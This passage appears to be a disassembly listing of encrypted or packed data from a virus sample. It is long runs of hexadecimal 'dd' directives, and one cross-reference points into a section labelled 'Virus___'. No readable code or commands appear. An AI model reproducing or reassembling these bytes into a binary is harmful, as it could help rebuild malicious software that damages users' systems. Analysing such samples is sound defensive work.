7B0C0673h dd 74001AFh, 0E2E93224h, 0ADC84E92h, 7E9FAF23h, 3F194E7Bh dd 3B67F7DDh, 78C6E0D2h, 9CD82680h, 0EF80E987h, 43054EA2h dd 9289F4C0h, 0C85575B0h, 149ACDB0h, 8F5CF133h, 7CAC0D55h dd 343F2A4Fh, 15DADE3Ch, 35812A7Fh, 0A1C562A9h, 0BFA87112h dd 966B120Eh, 0B5833E93h, 58586187h, 75D37500h, 0EBA4875Ch dd 42145DA0h, 0A382304Dh, 0EA245BC0h, 195DC3CBh, 0D6C68AECh dd 0EE1BAB10h, 0D27B22Ch, 20FFB729h, 0E24A327Ah, 346B04B7h dd 6EA9CDEDh, 6F24525Fh, 83942C36h, 5B67E09Fh, 0E27AA54h dd 0E6600C33h, 700618EAh, 0D7584C79h, 86C000F8h, 4B27B2BBh dd 54FFF67Bh, 0B29B4FC4h, 0E2917268h, 8AE0439Bh, 0D7A32179h dd 432542BEh, 108EE7E5h, 2088AF0Dh, 14813969h, 3F92C43Eh dd 0DCE761FCh, 1EA0C7BFh, 0D7A33728h, 6E8A1FAFh, 0CC561980h dd 4F520F7Fh, 9027403Ch, 0D739375Eh, 0F4A49C51h, 785B9439h dd 0D7583441h, 8628E7E9h, 2B3CC10Eh, 0DFC917C2h, 4444F796h dd 0B662B2D9h, 73637444h, 0A3514C0Ah, 0E58E02D4h, 0D1C6A5A2h dd 0D697696Eh, 9A34D3EFh, 517326B8h, 27D95703h, 0EE107F0Ch dd 6C4D3DBBh db 0ABh, 7Dh, 9Ah byte_5AD317 db 0E9h ; DATA XREF: Virus___:00562DB0o dd 8397FD3h, 0E0E2E889h, 4D042293h, 0B3E61C9h, 0D1AC6113h dd 3848024Eh, 0BE868281h, 245F2918h, 0A16962B2h, 5575710Eh dd 65767B49h, 115571Eh, 0A2274BDh, 0D2FFAB1Dh, 10BDC89h dd 0C1A658BDh, 0B9AF749Ch, 4198614Bh, 0FCC908B0h, 45C4023Fh dd 37E2B2D9h, 0E8E3F3C5h, 18D1BC8Dh, 640F8354h, 50452523h dd 5117E9EFh, 1BB4536Ch, 0D6ECA638h, 0A659D782h, 6F90FF8Ch dd 0EDCDBD38h, 699A7DA0h, 31E1F050h, 0E10E63B1h, 0DA8F4647h dd 7D957E5Eh, 0D469E0C8h, 8BA5FFFFh, 8A94FE74h, 3F1EB50Fh dd 0C86FEF66h, 2458C18Ch, 0DA8841B2h, 19A349D7h, 0B9AA81BDh dd 2A609D7Eh, 0B463F2FEh, 374A93D6h, 3B4D46D2h, 0D3C29920h dd 5C19EA18h, 0B94CCE92h, 2ECA1BB1h, 4A0577D2h, 3485905h dd 4E4BDBE9h, 227BF399h, 0A9DD2B2Dh, 0D1779018h, 4542D706h dd 6EA8F5CFh, 0A911965Bh, 0AE386E1Eh, 0D77025D0h, 5AEF6FEFh dd 15732C8Eh, 0E1E2A20Eh, 922FBB73h, 0D7605A67h, 0BDD431BDh dd 0C4BB1D48h, 4B26FD23h, 0DACFD9h, 2BEB1312h, 630E70B3h dd 0EB069F48h, 0D771EA8Ah, 61F8942Ch, 313D789Ah, 67B64EA0h dd 0B3747838h, 0C4F9C9A7h, 313F7ABFh, 232D4EA0h, 0D010D43h dd 0EAF79328h, 7084AD8Dh, 0C4838EA5h, 4B2781D7h, 31E16BD9h dd 0E0886287h, 7864469Fh, 0C8772C8Ch, 9230416Bh, 0DA93D13Eh dd 0BEAF0946h, 5F0924BAh, 0CA601FB8h, 149ACD15h, 0BE8A04DEh dd 0B6D32651h, 9B8C6ECAh, 6CF64B91h, 0BE8A0496h, 19234240h dd 3D1C8A0Ah, 6F791291h, 0BE8A0809h, 0FE806F9Fh, 63F9B7E7h dd 31BCBA30h, 7E81A9EAh, 0F08A0361h, 648D34h, 0E7F3A723h dd 0D770674Bh, 0F83981A7h, 959A74AFh, 0C042B0DEh, 5D839753h dd 0E1B90227h, 0FD8D70F8h, 25CAA247h, 10056663h, 2F80942Fh dd 7CC155Bh, 4B243B17h, 0BBBD4ED9h, 0EE950836h, 4753DF95h dd 1411A648h, 0C9E66A09h, 0A0BD60F4h, 64CBCBF1h, 0B5EB74E4h dd 4B5F576Ah, 24A6DFDDh, 0C3F8624Fh, 537D4EEDh, 66EDE33Dh dd 1ECA476Ah, 0DAADC2h, 55EB1312h, 2720E1C1h, 0E2B85204h dd 9CEB4E92h, 2EE3074Ch, 0B97986BDh, 0C73E84A9h, 0A3334EA2h dd 0C8C299C1h, 0E93A7419h, 144516DDh, 0C1F5857Dh, 18A04755h dd 9827B2D9h, 0F376B0E2h, 0A9EE4EA2h, 31E15421h, 0EA3DE587h dd 5CF7F1BCh, 93F194B9h, 44292993h, 0D9601183h, 0F39B5F82h dd 0EAAC0AB5h, 0D7EFAD8h, 31189C08h, 258B6CA3h, 0F58605EFh dd 19467F21h, 0EF11EBBDh, 0BB4547B4h, 0BF6D12BAh, 368E1F04h dd 4D1757A4h, 0BBBD4491h, 8800836h, 0DA7CB53Dh, 8EA82D36h dd 0FDBE684h, 2D27B2D9h, 4B5F5789h, 3A5D2DAh, 0D5C49414h dd 89086E4Ch, 0CF84F1BFh, 63F47CA9h, 0B0BC407Fh, 0EE860937h dd 4640DC92h, 11A7394Bh, 0D75838D9h, 0A821A158h, 0BDDCAC1Ch dd 0E5025407h, 735CFDBAh, 0A865A670h, 35F49018h, 0C5AC9CECh dd 0FB7E99ACh, 0D7A322EAh, 959027CDh, 16E71DFDh, 1395F4ABh dd 0D4A20B02h, 3CE83395h, 1BC824A6h, 2BE51B00h, 561D8308h dd 0C5A73A6Fh, 9BF07857h, 61CE228Ah, 0FD53452h, 649C859Eh dd 1FCA6679h, 76264606h, 0EAB3E4AEh, 6169CC48h, 0D83D859Bh dd 8CB13C2Bh, 0D2D63C15h, 939E8526h, 41B6DC63h, 10E909Bh dd 1F582D6Eh, 9917701Bh, 501F810Bh, 4366CFE8h, 108EE7E5h dd 2FF3AF0Dh, 4B27B23Dh, 0BEB4AB1Ah, 0A4B18E77h, 69C5A1A9h dd 190BCD53h, 0B3941C6Ch, 0A412ED20h, 48167D36h, 51208E0Ah dd 45F38DC3h, 6DFB99D6h, 0F5C3A12Eh, 58FAA8D9h, 66CC3151h dd 0FD54C53h, 60A702F4h, 4B27BE2Ah, 4B2AE5D9h, 4C9AB2D9h dd 4CA7160Dh, 6BA7010Dh, 4B2A7246h, 63A8B2D9h, 4B27B22Dh dd 8F0BC6A8h, 900BC6AEh, 1A8ABAEh, 4B27B22Dh, 0C02B9464h dd 0C3D2DE24h, 2EC8DE2Ch, 8441F719h, 8548A546h, 0F6AFE1B9h dd 5613946Bh, 0C228397Ah, 9CC015C1h, 0CA0BBEACh, 4B27BEECh dd 0F2351AD9h, 44A0B2D8h, 38E7330Dh, 910BBEACh, 6A89CAEh dd 4B27B22Dh, 4B2A7D46h, 3C9AB2D9h, 449D160Dh, 65A70F0Dh dd 4B2A7046h, 5A8B2D9h, 4B27B22Dh, 8F0BD6A8h, 73CE4FCEh dd 2C6BD7E0h, 0C856BF4Bh, 0C06ED128h, 4419D00Dh, 9B47A3EAh dd 6DD78506h, 3C0BECF7h, 0FC251406h, 7A2BAC89h, 210A4EECh dd 205A56Fh, 0D7F79D47h, 0BD01F279h, 0BB288376h, 0E0C3E30Bh dd 0BE195E01h, 0AAF92FB5h, 3B9CC728h, 0C21AD7C4h, 4C076DB5h dd 91261828h, 4B27BFC1h, 5C0D2D9h, 0ACBB3903h, 0ACEB312Dh dd 4B27C92Dh, 5C80CD9h, 711BBDE9h, 28B9BE26h, 0C659281Ch dd 400EB0DDh, 4B2609E1h, 58D8B34Fh, 4B27B2E4h, 92650939h dd 470A06AEh, 470AFF46h, 4B27B23Bh, 0E1650106h, 62A675C7h dd 0FF9C8BBDh, 4B1AD730h, 0DD27B2D9h, 443EDBD8h, 0AB27B2D9h dd 0C3C17F00h, 0CA2ADF64h, 562ADE6Ch, 8027B2D9h, 46A37F78h dd 0B3883979h, 0EB1AD708h, 0C2553B33h, 4DFF719Dh, 69CF1128h dd 4C0F999Ah, 9B261828h, 4B27BFC1h, 5CED2D9h, 0ACEB3971h dd 0ACEB312Dh, 4B279C2Dh, 5D6F2D9h, 3829789Ah, 4B27BCAEh dd 239039D9h, 621AD72Ah, 4B27B229h, 5F0754AAh, 20ABD4F0h dd 0B6D2B088h, 0E37E4CB9h, 3DB44DE3h, 40BDCB3Ch, 4B269A7Bh dd 8907B2D9h, 7CA714A4h, 8CA8BE0Dh, 4B13BE0Dh, 96D9B2D9h dd 6D38E7A4h, 0F8F6DF41h, 40BD9719h, 5A9C4DE0h, 9ECB3Ch dd 6802AECCh, 0C273B3Eh, 20B233F0h, 10509D43h, 0B772CBABh dd 0E808A8CAh, 0B0869105h, 77C2599h, 0D40894FFh, 6A01A65Ah dd 22CC3302h, 0C9473423h, 0A281CB8Fh, 9B2F04EEh, 0DB228E9h dd 0BF31628Ch, 0EF0AAB87h, 686EF390h, 11A040D5h, 52B4FD8Fh dd 0BC6C1861h, 0A2845D14h, 0CA0AEBAAh, 719F8E48h, 0CCDC2B2Fh dd 6FD27679h, 0A881120Ch, 6D4BC01Dh, 9BC075FCh, 0E5C1D461h dd 0E8CF2C9Eh, 0F9A04397h, 930E2FCDh, 0D305C045h, 9A63C024h dd 6474AF3h, 0E9B53C49h, 0E8C4C1A6h, 0F6474397h, 0E9B46864h dd 0F223C95Eh, 99EA4AF2h, 5E454394h, 0E9B46D29h, 0EB0BC95Eh dd 0E8CE4AF2h, 0FFC94397h, 0E9B54D98h, 0DB7E43C5h, 0E8CE439Ah dd 0AB0D8BF7h, 74AE9725h, 74AE971Dh, 0E8CE43F2h, 620C73D7h dd 0E176EDFCh, 75E64E69h, 0DFCE4394h, 0CED9DC7h, 6BF960AFh dd 5E461689h, 0E9B54381h, 4202122Fh, 0F5C13EA3h, 0E5B0D860h dd 0C1CAAD9Eh, 0E5C09C60h, 0D40ACE9Eh, 12528B8Bh, 52CC0D1Ah dd 8948C9ADh, 0F214C0DDh, 481C0A9Ch, 9734E85Bh, 440A3BA6h dd 777F7836h, 3A97ACABh, 0A1C6F1A8h, 1C23438Eh, 0F67E2449h dd 59AA2ED3h, 53A093B0h, 7DD193B2h, 0ED5B48B1h, 9BDCECDEh dd 0C6F4F15h, 195BBE02h, 61387BA3h, 0C6C32DAFh, 8BDE3763h dd 0C6F40B9h, 0FF107BA3h, 675F2DAEh, 6CB93760h, 67560E69h dd 0BE7F3760h, 0D0DC5FA6h, 0C8D42ABFh, 67772ABFh, 0D7943760h dd 0F5EAF3A6h, 9A7D4B12h, 0C6F45ADh, 12A5CBCBh, 6CB92DAFh dd 67560E75h, 0CA7F3760h, 70DD83A6h, 0C8D42ABCh, 676E2ABFh dd 0C3883760h, 0A33F12A6h, 536F4A39h, 95A2670Fh, 675F3746h dd 89AE0DDEh, 0F84CCF35h, 77D83662h, 0E95A125Fh, 60475A63h dd 75F3760h, 8FAEE96Fh, 0E6484A24h, 2484A1Fh, 205F3760h dd 6D77E977h, 675F18F8h, 729A2E60h, 0A65DCA6Ah, 0C8884E6Fh dd 0E765943h, 0D19D33A2h, 0C4AD06DEh, 0B65DABDEh, 6CB92DAEh dd 16DDABCBh, 0ACDE2DAFh, 0FCBDFAFFh, 6655AF3Fh, 14983DFAh dd 0CFF57A2Eh, 0D7FEA97Ah dd 48ED7AC9h, 0D13070B7h, 88CC3D7h, 0C4EF6CEBh, 0A9C00C8Ch dd 96E51B7Bh, 775B81Dh, 0EA8CDEC7h, 2D5C2111h, 0D58D782Bh dd 717B5A50h, 2F8CE1D4h, 2C8F11C7h, 8F42CE9Dh, 4CAEFA2Eh dd 23BB13F4h, 2B211607h, 0B86611BCh, 171DEC6h, 128CDEC7h dd 5912FD11h, 0BF0313BCh, 57B3EAE0h, 89E468DEh, 0A94D3F64h dd 2B858565h, 3D7315B4h, 8552123Eh, 8C7D012Fh, 8F3A4FAFh dd 0B7902EC6h, 7140C418h, 82A8AD8Ch, 24A2850Ch, 2DDDA479h dd 0FC1D80FAh, 0DD928558h, 221CEA8Fh, 0FC4708D2h, 3DA28558h dd 273848Ah, 85520654h, 69A5CB8Ch, 0AB2659EAh, 2DD9C306h dd 5E8D132Bh, 0FA228877h, 0FC697D6Ah, 0A5AC8558h, 5224A287h dd 1D7B43D6h, 7B7DF44Bh, 8552062Ch, 5A48AB9h, 73C87245h dd 0F3D30750h, 0E5527750h, 0A67380DEh, 11CF3F64h, 0F84125A6h dd 281E8EB6h, 0B537C5ABh, 283C2D82h, 6 dup(283CC5ABh) dd 1EDF8EABh, 75DC5ABh, 0D8BFC0A7h, 183B887Dh, 11D66E84h dd 55993349h, 0BACC972Dh, 83E780ACh, 4AA0A26Fh, 247EE569h dd 0FF786C8Ch, 698A3AEFh, 0DDBD837Bh, 73330387h, 30CCD0A2h dd 98DBED0Bh, 30E52165h, 3E9DD911h, 16EDD54Dh, 0BDA9CA53h dd 9777E642h, 76FC7BCDh, 3AF6A832h, 735D208Fh, 16E0AA38h dd 0FCE45082h, 401ADC2Dh, 15F7492Bh, 67D43E98h, 813FAC93h dd 7FC1C33Ch, 0DF4FFDE0h, 2B338B67h, 0ECAED747h, 0B5D77D06h dd 0DC264E17h, 0BEF19AD6h, 734D2FF5h, 0CAA56BAh, 0B99E2CAEh dd 9A10ED69h, 0D74A1C14h, 3A7D6D8Bh, 0BEA03856h, 0CFC33034h dd 89D37191h, 7CA1FD2Dh, 2EA6A3DDh, 0DBB1180h, 12D00B39h dd 6FB6F7BCh, 0B2D90CECh, 61114CE3h, 7DB4C1AFh, 6E91CF43h dd 0DDE07AF7h, 0EFE1EAFCh, 0B9EF4320h, 0F5687AF7h, 94705CBEh dd 0F9032A85h, 0A4D9F7A1h, 4F8E2C55h, 608B717Ah, 283CC58Dh dd 809DD8B5h, 8926EE1Fh, 0B68C6E2Dh, 1EB5759Eh, 9731E80h dd 0E8024B9h, 38D551FFh, 0D68B7DF5h, 283CC5D9h, 0C9F6D91Fh dd 0AEDF9A76h, 0FC4C851Eh, 0DB7B47C9h, 0D97040AAh, 0C65AC19Fh dd 3705AD25h, 0CC50FDEDh, 0EDFE9540h, 0A5E5A6E6h, 0F9261F3Eh dd 0FFB0A6B0h, 0F9406FD8h, 0C73268C4h, 50C317F5h, 0CA4DF560h dd 2199E0E3h, 0DC758CDFh, 3C9D9D4Eh, 70EA43C4h, 841B64B6h dd 0A364B70Dh, 0FCD5BEEFh, 0F15514h, 1FD9A390h, 6EBA2FE5h dd 826EE568h, 8D247592h, 905D042Fh, 0D3D56EBBh, 8FC162C5h dd 0B79627E8h, 4218346Dh, 0CAE86453h, 2F496593h, 288A6066h dd 0CA5BBF05h, 8D2C323Ah, 0B0E244F6h, 2830FC7Bh, 75A0C5ABh dd 0A71D01D4h, 0BAFB1ECEh, 5CB2A5A9h, 2E7EE075h, 0C9CFCC48h dd 0A82DFBE7h, 0D30CACAAh, 8DCC8D4Eh, 30196BEFh, 605BEFC1h dd 92A50D8h, 9DB7D7BAh, 2831177Bh, 3D57C5ABh, 0BFA2BC05h dd 5D2F7ACCh, 0EC64366Bh, 51F29291h, 0EB29DEECh, 11413A57h dd 8FF0A47h, 958D0750h, 0FAD069A2h, 7313C80Eh, 906AFC4Ah dd 2978952Fh, 9A847C06h, 34C499A8h, 57457ACCh, 988426F8h dd 62FE58BCh, 0AC4E470Ch, 84611019h, 0E4B55399h, 0B5750328h dd 0A6E96678h, 8418F63Bh, 5E83B026h, 0F9868CEAh, 283CFE3Eh dd 41935DABh, 0CEE96F59h, 0C8F3D8F7h, 2CC3D34Fh, 55BC94B4h dd 892626B7h, 0CD6EA72Dh, 8461E332h, 36EF02B9h, 0DDE89A77h dd 0A8AD2EB4h, 6218290Dh, 3436B65h, 0EA54D1A6h, 3D0ED80Eh dd 0B01C8B9Ch, 66DCB140h, 0BFBD7210h, 806F4C05h, 0BB2C3A4h dd 6C0D2851h, 0C32EE663h, 0F731414h, 0B8FDC0Eh, 0BEE27260h dd 42C3F443h, 0FF307FDFh, 0E6CD598Ch, 4FBF7A19h, 53D931CAh dd 0C7039C66h, 2EC60C05h, 66A5F16Dh, 2698B85Ah, 112E798Fh dd 763CC5D2h, 0A5E08618h, 0E5D59007h, 0A8DA622Eh, 1DB3CFB0h dd 383F7DA0h, 0EA33B637h, 2E52362Eh, 0BDB55F45h, 15F69DFBh dd 79F8D64Bh, 41741DFFh, 0D4820B3Ah, 36DBB0AEh, 0D39FBC25h dd 612944F4h, 1CD679B6h, 8D7E92F8h, 3C9C337Dh, 77B55B34h dd 9A3CC5ABh, 0BB801B38h, 0B1E1DFA9h, 0B04DA871h, 0E9A9CA71h dd 634340A9h, 70EDF96Dh, 553BBB15h, 461E313h, 250FF0AAh dd 531C8B9Dh, 6FCBE61Bh, 0A1483BBh, 0FF70EECAh, 95098CCAh dd 0B23CC5D2h, 0A5E08618h, 0DF11BD86h, 5F8024B5h, 0FB49556Ah dd 0A7308968h, 0CBB17211h, 0B89C27C8h, 0E1227A94h, 0C1294AB1h dd 35F662E9h, 0F45E8E27h, 0E90AB12Eh, 0F537C1A2h, 0BD44E8Bh dd 4786E839h, 7CC30861h, 0D51617C9h, 26358C58h, 0D29C8BABh dd 0C487BB08h, 0FCC06D32h, 0C000BEC3h, 38009AB7h, 0DD14633Fh dd 84F2718Ah, 0DF375125h, 0F9FCA751h, 7450079h, 0C15B7AA6h dd 0E2DC1314h, 50DE80C5h, 54D93809h, 0D94484A2h, 161046D0h dd 754EEF5Dh, 808C71A1h, 0D9823D4h, 2F5095C6h, 7EA7182Ah dd 0E84680B4h, 3A7E94Dh, 0C4393D97h, 15B4DC66h, 8461E353h dd 0F9E192D9h, 9EA85A33h, 0F2BD839Fh, 4FBB14F6h, 73DEE51Bh dd 0C51DCBE2h, 0ACC6C351h, 7E70AD1h, 0EF038021h, 2714D3F4h dd 2148C8D3h, 0D221AE7Ah, 77F69E89h, 7E9A64E1h, 1FC45051h dd 8E4476A2h, 0AB3DCD1h, 0D0D73208h, 6CCB9774h, 0B8579E6Eh dd 0F78A7CCCh, 9C0BBD9Bh, 0BBFD7CFAh, 808F48FCh, 5F88E4BDh dd 4FCD4928h, 0FBACF2DAh, 0D26AAD68h, 4264322Fh, 75CCE9A7h dd 28350EABh, 733C5ABh, 37A4C0F0h, 14FB2209h, 0CA4573B9h dd 14F7D942h, 78C7C74Ch, 33FDA2C0h, 74D7E7E9h, 0CA3E6ACh dd 64ABEF94h, 7DB2F75Ch, 43BA0E43h, 6EADE839h, 0B34FB4A6h dd 1CFC770Ch, 0A93CC5ABh, 2CADC244h, 7C927D77h, 28E7BDC3h dd 7C9A6EABh, 283B35C3h, 7C326EABh, 6C7E2022h, 0E31098D9h dd 7F9BC6FDh, 0B353876Ah, 0B1485F6Dh, 0DCBCA1DEh, 283CC5DEh dd 0B97233EEh, 130E5D9Fh, 462DA227h, 0AB0405F0h, 744CFE12h dd 0CA5C904h, 0DC812E77h, 7C9A7CDEh, 0ABA76F28h, 283CC297h dd 1CC776ABh, 9D3CC5ABh, 0D345A286h, 35B33B2Eh, 55BEC744h dd 15E2551Fh, 7EEE5A53h, 35C7C4D8h, 517CD50Bh, 0A18F197Eh dd 0A97B9EBh, 0F0F7DE17h, 0FAAE3982h, 4B51504Ch, 80A278B9h dd 93F37B1Eh, 0FFE09B9Bh, 67E9BDB8h, 0F9A711D3h, 397826B0h dd 16448300h, 0F70B2DDh, 0C3E90FFh, 180E701Eh, 784C2CEEh dd 64B160DFh, 4C7AAB87h, 0FBF8123Fh, 0CEBD7217h, 0E0D8E6DFh dd 111A9D9h, 4D817B15h, 5606A482h, 29A434ABh, 83CC5ABh dd 0B35284F4h, 0AB2DA226h, 32DA21Eh, 693CC5ABh, 6415853Ch dd 0ABBBF0D8h, 10697AF1h, 2822F0B4h, 283A9E3Dh, 569CC5ABh dd 6C832C6Ch, 5CBBC277h, 2810C277h, 0BE7AC5ABh, 0D214156Ch dd 5353EF0h, 0AADBA71Eh, 0DDABB837h, 13F9355h, 281FC9D8h dd 0B83C1BABh, 283CC543h, 0E859A5ABh, 7C726F1Ah, 7C7276D7h dd 283CF2D7h, 0E94C05ABh, 5B79042Ah, 0DD6D54BDh, 119BB55h dd 283CC5D8h, 8E651FABh, 0E7816EA3h, 352DED76h, 1E342CEh dd 6D3C1BD8h, 283CC543h, 0E85EA5ABh, 7C2A6F3Fh, 7C7276D7h dd 283CEFD7h, 0E97D30ABh, 35EAB146h, 109072Eh, 0B83C1BD8h dd 283CC543h, 0E859A5ABh, 7C726F1Ah, 7C7276D7h, 283C1ED7h dd 0E94C05ABh, 0A92F50A2h, 2822E3BCh, 2E8572A0h, 0E889F0B4h dd 0D6E9243h, 9BBED68Eh, 0D6AF511Ah, 504DC3B4h, 2266A506h dd 0DB46B1Ah, 0B70D6809h, 0A6E8804Ch, 0E8668AE7h, 0B901C575h dd 3E8DEF68h, 92DA689Fh, 66554378h, 0BF8467FDh, 0EAF02B36h dd 1F0B3FDBh, 70AD6AF5h, 0EA99174Ch dd 0C5B87056h, 92EF31F4h, 3 dup(0F21058F9h), 671058F9h dd 0CF10B2B2h, 0F21049CAh, 0BF3E78F9h, 0AE33C05Fh, 0A9DBC7F5h dd 0F2105CF5h, 0BF3189F9h, 4DD2C9F2h, 928D221Fh, 6614FE8h dd 8BF925C9h, 22EBBCF9h, 0A9FD247h, 0F2104D31h, 843ECC84h dd 66674E06h, 8BF2F21Ah, 2A3419F2h, 0E3AAC477h, 3E104E06h dd 0A36697Ah, 0F2104D31h, 843ECC84h, 66674E06h, 8BF2E123h dd 2A3419F2h, 0FFEEDC4Fh, 7E1B4E06h, 8BF922F5h, 92AD1976h dd 929C2148h, 21F058F9h, 0C71863B7h, 3E934D95h, 92F64D95h dd 18DF58F9h, 10AC4AB7h, 7D34A32Bh, 865AFC4Fh, 16694E06h dd 8BF947A5h, 92E1D302h, 7E1B58F9h, 8BF99EC5h, 92DF307Eh dd 0FDDFD775h, 1910B2F9h, 0F21049CAh, 0BF3478F9h, 9E83CFA1h dd 0A9DBC7F5h, 0F21023F5h, 0BF2F8BF9h, 2F678D9Bh, 9453D066h dd 67BD79BEh, 0F2117581h, 9A6AD1F9h, 0E78D21F9h, 0DF1C55F2h dd 0C41058F9h, 0FF389BF9h, 921058F9h, 653209A0h, 7D9D6CD6h dd 0F69D6D3Eh, 0C91058F9h, 0B5240A48h, 0AEB4E5Bh, 0AD40A1B4h dd 0F77B5428h, 7D50D1EAh, 8E053B58h, 59139AA6h, 8BFE79EDh dd 0C4D17B5Fh, 0FF389BF9h, 921058F9h, 653209A0h, 7D9D6CD6h dd 0F79D6D3Eh, 0C91058F9h, 71EE0A48h, 0BF3245DEh, 40C07B3h dd 0F90CFE1Bh, 0CF209844h, 0FA12FC4Fh, 95A4E06h, 8BF924F9h dd 1810B32Ah, 0F21049CAh, 0BF3378F9h, 9E8BCFA0h, 0A9DBC7F5h dd 0F2105CF5h, 0BF2ABEF9h, 70A8A170h, 0CC2FE4EFh, 9366565Ch dd 201058F9h, 2A37481Bh, 1E7C4D4Dh, 0E81172D5h, 43160F76h dd 0F7422829h, 0D51AD3EAh, 0F28D56FFh, 151F6D7h, 0F2104E65h dd 0D6388F9h, 117E5B1Dh, 0C4AF05ADh, 0FF389AF9h, 921058F9h dd 64DD0A93h, 7D9D6D0Eh, 0F79D6D3Eh, 3C1058F9h, 9E240A5Bh dd 18BBA51Dh, 8D06E522h, 3B1058F9h, 44EBB059h, 0FDD07633h dd 51D407E4h, 7512AA64h, 0F0BCF6D8h, 9C66CC84h, 92864E06h dd 929C215Bh, 34F058F9h, 0CF1862B7h, 3E934D9Eh, 92EA4D95h dd 0CF5E58F9h, 13D73CB7h, 92E1FF1Bh, 7E6958F9h, 8BF95139h dd 0F69ACBB7h, 45314E06h, 0F2105911h, 2260ED35h, 49379FCFh dd 0DA03BA5h, 929B2133h, 0C41458F9h, 420DC0E1h, 0A9DBD242h dd 0DDDFD1F5h, 0C233B8D9h, 3443565Ch, 6533A7BAh, 0CD9D6D3Eh dd 5E699194h, 8BF94F0Dh, 0F486DC76h, 79054E06h, 8BFE671Dh dd 0DB5EC484h, 0E674E06h, 8BF2B6B4h, 7A8D02F3h, 0C4AF05ADh dd 0FF3899F9h, 921058F9h, 65340A46h, 7D9D6D46h, 0E19D6D3Eh dd 3F1058F9h, 91270A0Eh, 18265B2h, 4B7CA8CAh, 0F2105D65h dd 9DC2B2F9h, 8073B7CDh, 0DA07CC68h, 6866F8B2h, 11FE6204h dd 7B1AD43Dh, 678D56BCh, 0F7406029h, 0D61ACFEAh, 0F28D21A3h dd 0E6F2D404h, 0C4334E06h, 4305B399h, 0F7469489h, 3CD87BEAh dd 0E4D9A49h, 8BFE48F5h, 0F21058CCh, 0FAB2CBAAh, 0F2104E06h dd 0A09058F9h, 0A21AD216h, 0DE8D21F5h, 0F210591Eh, 889355F9h dd 7D1058F9h, 81A93A20h, 62D6DF71h, 79D2CA68h, 928D2230h dd 9296CD02h, 928658F9h, 929C2147h, 20F058F9h, 0EF1B96B7h dd 3E934D95h, 92EA4D95h, 1BDA58F9h, 3F90A8B7h, 84D2C484h dd 0E694E06h, 8BFE6E41h, 0BA2F58E3h, 0F21058F7h, 21A66499h dd 8E7CB585h, 8E7C8D4Ch, 0F2105961h, 81A19C38h, 5C27FCF4h dd 6660F4Fh, 8BFE7C6Dh, 92AD3976h, 929C2149h, 2AF058F9h dd 3F1B90B7h, 3E934D95h, 92E84D95h, 0C25058F9h, 8BA828B7h dd 0ABFD0D11h, 7F8EC3C0h, 0F740C401h, 99558EAh, 0F2104D49h dd 45DD58E3h, 0F21058F7h, 23A66699h, 8E7C8585h, 8E7C8D4Ch dd 0F2105954h, 23A19E2Ah, 3A0399E1h, 9A13C58h, 8BF924F9h dd 0BAB1D247h, 0F21058FEh, 55C4952h, 22ADFBD2h, 0D243565Ch dd 0DD2962ACh, 6720B949h, 8838628Ch, 0BB1058F9h, 273BDE86h dd 3F69A78Fh, 8F3B4D95h, 9F1058F9h, 64E4F588h, 32BE6AC8h dd 0B7241CC9h, 80F63BEFh, 93641544h, 0DD31C8D9h, 8E7C8D84h dd 92E7CC02h, 0CC2058F9h, 0B86E481Bh, 65289194h, 0F7F0FC91h dd 8DCA05EAh, 458D226Fh, 0F21058F8h, 9C7EF455h, 0E6784D7h dd 8BF2B6B4h, 0D82ADC76h, 42054E06h, 0BA2058E4h, 0F21058F7h dd 2AA19199h, 8E7C8D85h, 8E7C8D4Ch, 0F2105953h, 7BA66939h dd 0A508B38Eh, 0BA6FA883h, 0F2105903h, 5573BB90h, 0C24BDCE5h dd 67BA9B42h, 0BA435613h, 0F21058CEh, 7162BC74h, 2BDA47CEh dd 9ED4AAB2h, 17ECB0C5h, 0B19E0208h, 229635Fh, 85C6D491h dd 64954E06h, 0F2105907h, 0F2104DF1h, 0EFC87AF9h, 35A506D4h dd 9672FC4Fh, 0D364E06h, 0F205D21Bh, 626958F9h, 9E6A842h dd 8BFE66E1h, 7DBA4CE3h, 3A07892Ch, 0C2E0449Eh, 9F7D7D4Ch dd 65802930h, 0F7F12C29h, 29CA05EAh, 0F28D2230h, 0D662CFD9h dd 678D226Fh, 7DBAA7C7h, 0DD9EF033h, 92ADE8F2h, 929C2147h dd 20F058F9h, 0EF1B96B7h, 3E934D95h, 92F74D95h, 1BDA58F9h dd 0CE1D2B7h, 0B1F5E992h, 0EBDF4F00h, 6643E76h, 8BFE6719h dd 0F21040F1h, 4C4C44F9h, 1F875821h, 0CE6F49B2h, 208D2297h dd 655485F7h, 0F79ABC01h, 4A58C7EAh, 671058F2h, 0A9D80E7Dh dd 0D2105999h, 0F9CACFD9h, 938D21F7h, 0F2104B75h, 0DD33B8F9h dd 0ADA6C47Eh, 93104E6Bh, 0F21EC375h, 1810B2F9h, 0F21049CAh dd 0BF3378F9h, 9E8BCFA0h, 0A9DBC7F5h, 0F21021F5h, 0BF2ABEF9h dd 22AF5D1Ch, 0F2EF3130h, 0EA82DC76h, 8B3B4E06h, 0C11058F9h dd 8EAFB96Dh, 0DFD9C377h, 7F7B21C7h, 111060C3h, 8BF95D95h dd 0C4424DAAh, 5C93ACE4h, 3906208Ah, 0E5EEFC84h, 0C84D4E06h dd 0DD8CA7F5h, 896255F9h, 671058F9h, 0F740F029h, 421AD1EAh dd 0C4926ABDh, 0FF389BF9h, 921058F9h, 653209A0h, 7D9D6CD6h dd 8E9D6D3Eh, 0C91058F9h, 12E40A48h, 791E0F20h, 8BF95489h dd 0A9CACC04h, 0C81B4E06h, 0CD10B2CDh, 0F21049CAh, 0BF2878F9h dd 0AE23C095h, 0A9DBC7F5h, 0F21023F5h, 0BF2387F9h, 0BA5403CDh dd 6907D170h, 7E187A69h, 8BFE6D41h, 0ADAACC76h, 117B4E6Bh dd 8BF95375h, 7F988E84h, 928760C3h, 929C20BAh, 23F058F9h dd 0D71865B7h, 3E934D95h, 92EB4D95h, 1ACD58F9h, 3905A1B7h dd 939794E5h, 0F2104C83h, 0BE28F6F9h, 884D8B1Bh, 0F0B5AA6Fh dd 0E89C8DAAh, 0C410ADE4h, 0FF389BF9h, 921058F9h, 653209A0h dd 7D9D6CD6h, 0E19D6D3Eh, 0C91058F9h, 14A80A48h, 0B5FBE6B3h dd 0F3EBC53Ch, 0B34ECBBCh, 23D24E06h, 67246B88h, 9C4E1479h dd 889E55EAh, 7D1058F9h, 3836057Ch, 91D8C073h, 0BA2058E3h dd 0F21058F7h, 2AA19199h, 8E7C8D85h, 8E7C8D4Ch, 0F210591Dh dd 97A66939h, 9A0E7050h, 731E4DBCh, 97123F4Dh, 0E6E611Bh dd 8BFF77C5h, 